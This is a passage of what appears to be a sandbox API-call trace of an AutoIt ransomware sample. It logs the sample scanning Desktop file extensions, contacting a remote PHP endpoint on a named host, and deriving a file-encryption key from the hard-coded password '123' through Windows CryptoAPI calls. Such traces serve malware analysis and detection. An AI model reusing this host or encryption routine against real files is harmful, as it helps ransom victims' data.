lpString1="\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lMtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MtLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tLjc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ljc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.936] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jc6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N.csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0075.937] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="csv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.938] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.938] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0075.938] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.938] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0075.938] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0075.938] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.939] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0075.939] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0075.939] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ee1c) returned 1 [0075.939] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.940] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.940] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.940] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0075.940] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0075.940] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0075.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0075.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629520, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629520*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0075.941] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.941] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.941] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.941] CloseHandle (hObject=0x0) returned 0 [0075.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.942] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lMtLjc6F9N.csv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0075.943] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0075.943] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.943] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.943] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.944] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.944] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.944] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.944] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0075.944] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.945] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.945] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0075.945] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.945] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.945] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.945] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.945] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.945] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0075.946] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0075.946] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0075.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164dfb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0075.947] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0075.947] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0075.948] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.948] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.949] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0075.949] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.949] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.949] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.949] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.949] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.950] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.950] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0075.950] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.950] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.950] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.950] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.951] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.951] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.951] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.951] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.951] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.951] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.951] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.951] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.951] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.952] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.952] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.952] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.952] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.952] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0075.952] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0075.952] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0075.952] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.953] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0075.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.953] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.953] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.953] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0075.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16216f0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0075.954] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0075.954] CryptHashData (hHash=0x164c330, pbData=0x16294b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0075.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.954] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.954] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.954] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.954] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.954] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0075.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621768, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0075.954] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0075.955] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c330, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c9b0) returned 1 [0075.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.955] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.955] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, 